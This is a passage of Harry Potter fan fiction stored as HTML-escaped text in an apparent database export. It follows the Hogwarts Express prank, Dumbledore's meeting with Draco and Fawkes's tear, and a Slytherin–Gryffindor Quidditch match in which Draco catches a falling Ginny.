lightly and frowned when it failed to rouse him. &#8220;Ron!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Butterflies! Aaah!&#8221; Ron jumped up as if he had just sat on a Blast-Ended Skrewt. Ginny fell to the floor and smashed her face against the seat&#8216;s edge.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Ow! What did you do that for?&#8221; she cried, rubbing at the blood dribbling down her chin. Harry felt his lip twitch for only a moment before he helped her up and put his handkerchief against the wound. The Weasleys were all overly dramatic.</p>\n<p align="JUSTIFY"> </p>\n<p align="JUSTIFY"> &#8220;We&#8217;ll take you to Madame Pomfrey as soon as we get inside Hogwarts.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Hermione crossed her arms and smirked up at Ron. &#8220;Butterflies?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> He scowled. &#8220;Yeah, butterflies. They&#8217;d scare you too if there was loads of them flittering about <i>your</i> head.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;<i>Were</i>.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;Were what?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Never mind,&#8221; Hermione moaned as she moved over to Ginny. &#8220;Let me take a look at that.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny lifted her chin obligingly as Hermione prodded the wound gently with her finger.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;That will need a suture charm, and I don&#8217;t know how to do that yet. But I can make it stop bleeding.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Hermione raised her wand and touched it to Ginny&#8217;s bottom lip.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;<i>Sanguin Ligare</i>.&#8221;</p>\n<p align="JUSTIFY"> </p>\n<p align="JUSTIFY"> Instantly the blood stopped gushing and the wound sealed over. The split was deep though, it would need to be put back together or poor Ginny would appear as if she had an upside-down harelip.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Hey!&#8221; Ron shouted. &#8220;The door is locked.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Locked?&#8221; Harry frowned. &#8220;Use your wand if it&#8217;s stuck.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;<i>Alohamora</i>!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The door remained stubbornly locked, despite Ron&#8217;s desperate attempts at pulling it open. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;You&#8217;ll only injure yourself, you perverse thing. Someone must have charmed it.&#8221; Hermione stated calmly what seemed like an obvious conclusion to her.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Malfoy,&#8221; breathed both Harry and Ron.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Help! Let us out of here.&#8221; Ginny started pounding on the door, hyperventilating slightly as she struggled with the lock. &#8220;I can&#8217;t stand being locked in here like this!&#8221; she sobbed.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Shh, Gin. It&#8217;ll be alright,&#8221; Hermione soothed as she made Ginny take a seat and breathe calmly and deeply before turning to look outside. &#8220;Ron, see if the window will go up. We may be able to float down if we can squeeze our way out of it.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Both Harry and Ron pushed and pulled with all of their might. It didn&#8217;t budge by a fingerbreadth.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;<i>Rumpere</i>!&#8221; Ron screamed at the casement. It did nothing; the window was magically shielded. The spell bounced off and hit Harry&#8217;s glasses instead, causing them to shatter.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Thanks, Ron,&#8221; Harry mumbled as he removed his glasses and fumbled for his wand to repair them.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Sorry.&#8221; </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Suddenly, the train lurched and began to leave Hogwarts Station. Through the window, they could all see Malfoy smirking at them. He raised a hand in mocking farewell and Ginny returned it, rudely.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Ginny!&#8221; Hermione slapped her hand. &#8220;I don&#8217;t care if he is a prat, that was just awful.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> She shrugged and took her seat again. &#8220;We&#8217;re stuck on the train and going back to London. He did it, so he deserved a full salute.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;We&#8217;re going to miss the feast,&#8221; Ron moaned as he and Harry&#8217;s stomachs rumbled loudly, the sound echoing off of the walls.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Is all you think about food related?&#8221; Ginny snapped.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Well, not <i>all </i>I think about...&#8221; he mused.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Oh, right. I forgot about your collection of <i>Playwizard</i> under the creaky step on the stairs at home.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron&#8217;s eyes bulged. &#8220;How did you--&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Percy showed me. He thought I may want to burn them if you ever hacked me off too badly.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Percy is an annoying prat. I&#8217;m gonna--&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;This isn&#8217;t helping anything!&#8221; Harry shouted before Ron had a chance to detail his brother&#8217;s demise.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Well, what are we going to do? Sit around and play Exploding Snap? We are on our way <i>back</i> to London!&#8221; Ron yelled, red-faced and panting from a curious mix of frustration and embarrassment.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Both of you stop it, I&#8217;m getting a migraine.&#8221; Ginny put a hand to her head and leaned back into her seat.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Harry looked around the compartment miserably. What a way to begin his seventh year.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY">*~*~*~*~*</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<i><p align="JUSTIFY">Tyger! Tyger! burning bright</p>\n<p align="JUSTIFY">In the forests of the night,</p>\n<p align="JUSTIFY">What immortal hand or eye</p>\n<p align="JUSTIFY">Could frame thy fearful symmetry?   </p>\n<p align="JUSTIFY">~ William Blake~</p>\n</i><p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> &#8220;Malfoy,&#8221; Professor McGonagall pulled the boy aside after his Advanced Transfiguration class was through. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;What is it, Professor?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Professor Dumbledore sent me a note stating that you are to go directly to his office after this class was over.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Why?&#8221; he questioned blankly.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;How should I know? Go on, he&#8217;s expecting you.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco grumbled as he made his way toward the Headmaster&#8217;s office. He knew where it was, but since his Head of House, Professor Snape, dealt with most of their problems Draco had never been there before. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The spiral stairs were down and he stepped into the small nook, waiting to be taken up towards whatever fate had in store for him today. It was bad enough that Potter and his group managed to make it back from London so quickly. Only took one night and in they stomped, bright and fresh as if they had spent the evening in their dorms sleeping on feather mattresses.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco groused some more before finally coming up to the Headmaster&#8217;s door and knocking softly.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Come in, Draco.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> He sucked a deep breath through his nose and took a step inside of the warm, cluttered room. The heat was almost too much. The permanent frost that usually covered his body was being shocked off to retreat elsewhere for the time being. His fingers tingled as they started to thaw. It was nearly close to being full-blown pain.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;You wished to see me, Headmaster?&#8221; Draco bowed his head in what he hoped was taken as a gesture of respect and subservience. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">Obedience was a lesson thoroughly drilled into his brain from day one.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Yes, come take a seat.&#8221; Dumbledore gestured to the chair before his desk. Draco sat as he was bid and waited impatiently for the Headmaster to say something. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> It was a long time in coming. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">Dumbledore tilted his head to the side and surveyed the boy long and hard before finally beginning to speak.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;You&#8217;ve grown this summer, Draco.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Yes, Headmaster.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The man waved this aside. &#8220;Call me Dumbledore. Enough of that Headmaster bit; makes me want to look around for who you&#8217;re addressing.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco did not smile.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Lemon drop?&#8221; The professor offered.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;No, thank you.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Dumbledore shrugged and popped a few of the sweets in his mouth and chewed them softly before continuing.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;You look to be more of a man this year, Draco. I understand the other students were teasing you last term because you were so tall and thin. But you&#8217;ve filled out, I see.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Yes, sir.&#8221; Draco fought hard to keep the bite out of his words. Spindle-legs, among others, had not been his first choice of nicknames. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;That&#8217;s good, that&#8217;s good.&#8221; Dumbledore leant back into his chair and put another of the Muggle sweets into his mouth. &#8220;I think you know why you are here today, Draco.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Malfoy lifted an elegant brow. &#8220;Not exactly, sir. Perhaps you could enlighten me?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;You were seen charming a compartment door on the Hogwarts Express yesterday.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> He didn&#8217;t have to say which door; Draco knew full well which door it had been.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I believe they were mistaken, sir.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Possible,&#8221; Dumbledore nodded. &#8220;Very possible. However, I&#8217;ve summoned you here for another reason. All punishment aside, I believe you suffered enough on your way home last year for me to further bother you with house points and that sort of rubbish. I&#8216;ll leave that between Mr. Potter and yourself.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Then why am I here, sir?&#8221; Draco asked, honestly puzzled.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">Dumbledore sighed and steepled his fingers closely. &#8220;What I am about to say can be taken any way that you wish. I only mean to inform and possibly prevent further harm to yourself or others.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Others being Potter and his followers, of course. Draco swore silently to himself but continued to arrange a blank mask on the outside.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I would like for you, if at all possible, to at least restrain your temper when it comes to Mr. Potter and his friends. I know that the rivalry between you is legendary, but for the sake of the world, put it aside and concentrate on your studies this year. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;I don&#8217;t expect you to be friends, merely not so openly hostile towards each other. I&#8217;ve already had this conversation with Mr. Potter and the rest of his group. So you shouldn&#8217;t have too much of a problem with instigation on their part.&#8221; The old man knitted his eyebrows together and looked over his half-moon spectacles to further relate the serious nature of his words. &#8220;They are all in grave peril each and every time they step outside of Hogwarts. Harry for obvious reasons; Miss Granger and Mr. Weasley because of their connection to him.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;The incident on the train, although seemingly harmless, could have cost them their very lives. Voldemort&#8217;s supporters are everywhere and see everything. It was a ripe opportunity to finally have done with The Boy Who Lived and we can&#8217;t allow it to happen again.&#8221; Dumbledore shook his head sadly before continuing. &#8220;It is dark times we are in now, boy. Darker still yet to come. Now is not the time for petty rivalries.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I understand, Headmaster,&#8221; Draco parroted the acceptable response, fully well aware that he had called him &#8216;Headmaster&#8217; once again. Why the old man thought <i>he</i> could be trusted was unclear. Maybe he was being toyed with. Any fool knew instinctively that Lucius Malfoy was a Death Eater. And it was furthermore commonly known among the Hogwarts crowd that Draco was just as dark and unfeeling as his father.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Do you truly understand, I wonder.&#8221; Dumbledore faded back into his thoughts, obviously musing something carefully. &#8220;You may go, young Malfoy.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco stood to leave but was instantly set upon by a large, scarlet-feathered bird. He tried to shove it off his shoulder but to no avail.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;What does it want?&#8221; he ground out, not caring anymore that he hardly sounded civil. The professor did nothing, merely waiting for what would happen next.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The beautiful phoenix spread its wings and bent down to carefully rip open Draco&#8217;s shirt.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Sir, get this thing off of me at once!&#8221; Draco shouted, attempting in vain to push the bird away.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Dumbledore didn&#8217;t answer, still watching with hooded eyes as the bird finally revealed Draco&#8217;s pale chest under the remains of his white oxford. From the corner of its eye appeared a large, pearly drop of fluid, which seemed to hover a moment in the air before splashing on Draco&#8217;s skin in a place just above his heart.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">  From the instant of contact, Draco felt a burning where the tear had fallen. Heat radiated and spread out to every pore of his body. Light-headed, he fell back against the chair and grabbed his aching chest in one hand. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The bird sent out a keen of song that further aggravated Draco&#8217;s sensitive brain before flying off to land on top of a large cage in the corner of the room.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;What did it <i>do</i> to me?&#8221; Draco cried, still clutching his chest in a hand that trembled violently.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I&#8217;m sorry, my boy. I don&#8217;t like to bother Fawkes when he is keen on doing something. That was only a tear that you felt. Apparently he felt you in need of healing.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Healing?&#8221; Draco whispered furiously. &#8220;I&#8217;m burning all over!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> There was a twinkle in Dumbledore&#8217;s eye that Draco almost missed. &#8220;You may want to see Madame Pomfrey then. It&#8217;s possible you are allergic to phoenix tears.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Y-yes, I think I will do that. Am I dismissed, Headmaster?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Of course, go and see Poppy now. Maybe she can help.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco nodded his head dumbly and stood to leave. How he ever managed to stumble to the Infirmary, he hadn&#8217;t the faintest clue. He only knew that there was a burning inside of his chest and his brain fairly exploded in full sensory overload.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Madame Pomfrey checked him over, placing a cool hand over a feverish brow before clucking her tongue and sending him straight to a standard bed.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> It was only after she had administered a very pungent, foul tasting potion that he was allowed to rest. The roaring in his head was dulling, as if someone had pulled up a blanket to shroud his mind. Sighing a little, Draco drifted off to sleep.</p>\n\n'),
	(135, 2, '\n\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> It was two days before Draco felt confident enough to attend classes once more. The burning had faded into slight and ever-present warmth surrounding his extremities. A light buzzing was the only trace that there had been such a massive rush to his tired brain. Madame Pomfrey assured Draco that this was normal and it would fade soon enough on its own.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8216;Soon enough&#8217; never seemed to arrive though. The air in the dungeons where the Slytherin dormitories resided was damp and chill. It had bothered him before only in the way a stray hair that tickles your check would. Now it was warm, but at the same time brought a sense of foreboding each time he came down to sleep at night or study in the common room.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> It was for this reason that Draco decided to start studying in the library after classes were ended each day. Whenever he could, the lower levels of the castle were avoided except to sleep at night.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Insomnia was apparently yet another of the mysterious side-effects of a phoenix&#8217;s tear. Vivid images and flashes of colour hounded every waking moment, and par for the course, those which were not so much waking as sleepwalking.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">  Draco&#8217;s grades suffered for this; even in Potions where everyone knew he was the professor&#8217;s pet. Lack of concentration was also a concern in Quidditch where the Slytherin team was worked harder than ever at each practice, often not returning until late at night just before curfew was called. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Slytherin would open the season in the first game of the year against none other than Gryffindor. All players were required to be in top form and Draco clearly wasn&#8217;t.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> He wasn&#8217;t looking forward to this game.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY">  In spite of being nary an inch over five feet, Ginny Weasley was considered one of the most remarkable Chasers the Gryffindor Quidditch team had seen in many a year.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">She flew lightening quick, notwithstanding her ancient Cleansweep, dodging Bludgers with mad loops and swirls as if she had been born a bird and not a very small girl. Having six brothers who lived, ate, and breathed Quidditch helped tremendously in this regard, even if by doing so she was considered something of a tomboy.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Her sensible wool cap flew off after a particularly dangerous flip and dark auburn curls blew behind her like a flag, the sun-lightened streaks of gold mixed through almost made her look like the team&#8217;s official mascot. It was the first game of the season, Gryffindor versus Slytherin, and the fans took note of this apparent omen with wild applause.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">  &#8220;Ginny! Heads up!&#8221; Her brother, Ron, threw the Quaffle in her general direction, confidant that she would catch it. Which she did of course, flying off toward the Slytherin goal and feinting to the left in order to confuse their Keeper. It was a very stupid move on his part, which he realised only after she had whomped the Quaffle past his right side. Oldest trick in the book.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">  Cheers went up from the stands as she circled the hoop in a lazy victory dance and sped down almost vertically to retrieve the ball.  Millicent Bulstrode beat her to the punch though and raced off across half of the pitch before Ginny could blink an eye. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Determined, Ginny leaned forward over her broom and was coming close to the centre hoop, the rest of the team far ahead attempting to cut Millicent off. However, Gregory Goyle of the Slytherin team was flying nearby, his Beater at the ready, and whacked a Bludger viciously towards Ginny&#8217;s head for no apparent reason. Ginny flew up, closer to the central hoop in order to avoid it, pulling her broom up sharply.   </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The Bludger missed its target and hit her broom handle instead, cracking the antique in half. Ginny felt it snap and started to fall before she made a wild leap and grabbed the centre ring with one hand.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The crowd oohed and aahed, holding their breath. Looking around, Ginny noticed that none of her team-mates were anywhere close, they had gathered near the Gryffindor post where Millicent was in a tangle of arms and feet with Seamus Finnigan.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Not even the announcer was aware of her predicament in all the commotion from across the pitch.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Breathing heavily, Ginny tried to pull herself up in order to better grip the cold, wet ring. But the weather and fate seemed against her that day. The movement caused the one hand to slip and she started to fall.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Shutting her eyes, Ginny silently prayed that she would fall on a soft, not terribly breakable part of her anatomy. She was jerked out of that plea by the feel of a broomstick beneath her. The slight weight of her landing made the broom overbalance, sending it into a wild somersault while the person riding the broom clutched onto her from behind.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> When it rebalanced, she took a moment to clear her head and glanced behind her, instantly wishing that she hadn&#8217;t.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;I didn&#8217;t know it was raining Weasleys today or I would have brought my brolly,&#8221; snickered the voice of none other than Draco Malfoy.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Biting back a retort, Ginny sighed and turned to face the front. &#8220;Could you please fly me to the ground, Malfoy?&#8221;</p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> Draco spared a glance around the pitch, noticing that Ginny&#8217;s team-mates were still embroiled in watching the mad dash for the Quaffle over at the Gryffindor end. &#8220;I could&#8230;&#8221; he mused, &#8220;or I could dump you here and see if you could make your own way down.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny gritted her teeth. &#8220;<i>Please</i>, fly me down, Malfoy.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> It was hardly a suitably phrased request.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Since you asked so nicely.&#8221; Draco pushed the broom down into a steep, vertical dive; imagining her horrified face with a grin as she gasped and leaned back. Apparently the littlest Weasley wasn&#8217;t so confident when <i>she</i> wasn&#8217;t the one controlling the broom. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> This felt better, Draco thought to himself. Just a little friendly torture between enemies. For the first time in weeks, his head was clear and he knew exactly what he was about.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> They were about twenty feet above the ground when he saw it: the Snitch!</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco gave a nervous glance at his back, noticing that the Gryffindors had finally realised their star Chaser was riding on <i>his</i> broom; but they were still far in the rear. Looking above and to the right was Potter, pushing forward and solely occupied with keeping the Snitch in sight and ignoring all else. Draco grinned in anticipation.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">He pushed Ginny&#8217;s chest firmly into the broom, nearly covering her body completely with his own. She gave only a muffled squeak and tried desperately to push him off. He moved his hands in front of hers and leaned closer, trying to build speed and ignore her wriggling backside pressed adjacent to certain parts of his anatomy. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The Snitch was so close he could almost taste it! Just above and ahead. Potter was closing in though, right behind him, hand stretched and seeking.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Hold the broom steady!&#8221; Draco shouted down to the thoroughly squashed Ginny. He didn&#8217;t wait to see if she replied, but brought his feet up to hold and stood carefully, using Ginny&#8217;s bottom for balance.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Potter pulled up swiftly beside the Slytherin Seeker, chin dropping when he finally saw Ginny clutching the broom under her for dear life and apparently being groped by his rival. The distraction was enough though and it gave Draco the advantage he needed. The Snitch was already firm in his long-fingered grasp!</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Trailing them closely was the entire Gryffindor team, murder in their gaze. Harry was the closest though, almost able to touch them. Draco sped off faster, allowing time for a victory loop-de-loop and a friendly smack to Ginny&#8217;s bottom before touching the ground.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The girl fell over with a soft thud upon landing, grass brushing in sharp contrast to her reddened cheeks.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;It should rain Weasleys more often, apparently it&#8217;s a lucky omen,&#8221; Draco drawled, dusting off his cloak and staring at the prize in his hand. &#8220;Should have checked Trelawney&#8217;s forecast.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco didn&#8217;t have much time to feel smug though as Harry and the rest of the Gryffindor team showed up.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;You&#8217;re dead, Malfoy!&#8221; Ron Weasley shouted, passing by his sister who still lay huddled on the ground.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">Draco turned around, allowing himself to coolly look the redhead up and down as if measuring his value. &#8220;Wrong, Weasley. <i>She&#8217;d</i> be dead if she hadn&#8217;t fallen on my broom. I thought you Gryffindors were all about <i>family</i> and loyalty,&#8221; he sneered. &#8220;But I guess you wouldn&#8217;t have noticed if your precious sister nearly died because you were too busy being crammed up Millicent&#8217;s arse.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Son of a b--&#8221; </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron was only barely contained by Seamus and Harry. But by the looks on their faces, it was obvious they weren&#8217;t terribly keen on holding him there. Time to go.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Well, I guess this little beauty put Slytherin in the lead for the Cup, eh?&#8221; Draco held the glinting Snitch up in the late autumn sun, inspecting it closely between thumb and forefinger before pocketing it. &#8220;Later, losers.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY">  The Gryffindor common room was fairly quiet that evening. Rain pelted the windows and lent a dull grey cast over what was a normally colourful room.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Seamus and Ron were playing chess in a dreary corner and Hermione was reading a book so close to the fire that her hair crackled on occasion from contact with the heat. Ginny reclined on a sofa, covered by her cloak and staring into the flames. Everyone else was either studying or out on the Quidditch pitch receiving a harsh lecture about teamwork and several laps around the field courtesy of their Captain, Harry Potter.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> No one blamed Ginny for what had happened earlier that day. Brooms break and Malfoy always was a rotten tosser, so that wasn&#8217;t anything new. But fear... that was something else entirely. Ginny felt sure that she could have kept Malfoy from getting the Snitch if she had only had the temerity to make him lose his balance or fly the broom closer to the ground. But fear kept her from this and the game was lost. Not only that, but the slimy little git actually managed to get house points for saving her life!</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> She had been so terrified after the match that Harry had been forced to send her to the common room with Ron and Seamus half-carrying her into the warmth it promised. At least it had given them an excuse to stay out of the rain. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> There had been no control, it wasn&#8217;t her broom and he had-- Ginny stopped and shuddered as she recalled Malfoy&#8217;s hand steadying himself by grasping her bottom in his hot fingers.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> It was peculiar though. Malfoy had always struck her as someone who would be just frostbitten as his attitude; skin cool like that of a snake. Instead they had burned her even through the thick padding of robes and corduroy trousers. Ginny almost wondered if he had branded his handprints into her backside.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I&#8217;m going to take a shower, Ron,&#8221; Ginny whispered as she stood and stretched, walking towards the sixth year baths. Ron grunted his assent and waved a hand in her general direction to show that he had heard her.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Stripping down, Ginny felt the need to check just to make sure there was no visible sign of Draco Malfoy&#8217;s ferret-like fingers on her body. There were none as expected. The rational part of her knew it was foolish, but the emotional side stated that it was necessary to bathe his indelible presence away.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The showers were soon steaming, curling her hair about her face, and suddenly Ginny felt ill at ease. It wasn&#8217;t helping anything but in fact making the sense of Draco Malfoy&#8217;s aura even stronger.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Disgusted, Ginny turned off the showers and put her dirty uniform back on. Maybe a nap before dinner would help. With this thought in mind, she trundled down the hall to the sixth year dormitories and fell onto the soft, feather mattress of her bed.</p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY">&nbsp;</p>\n<p 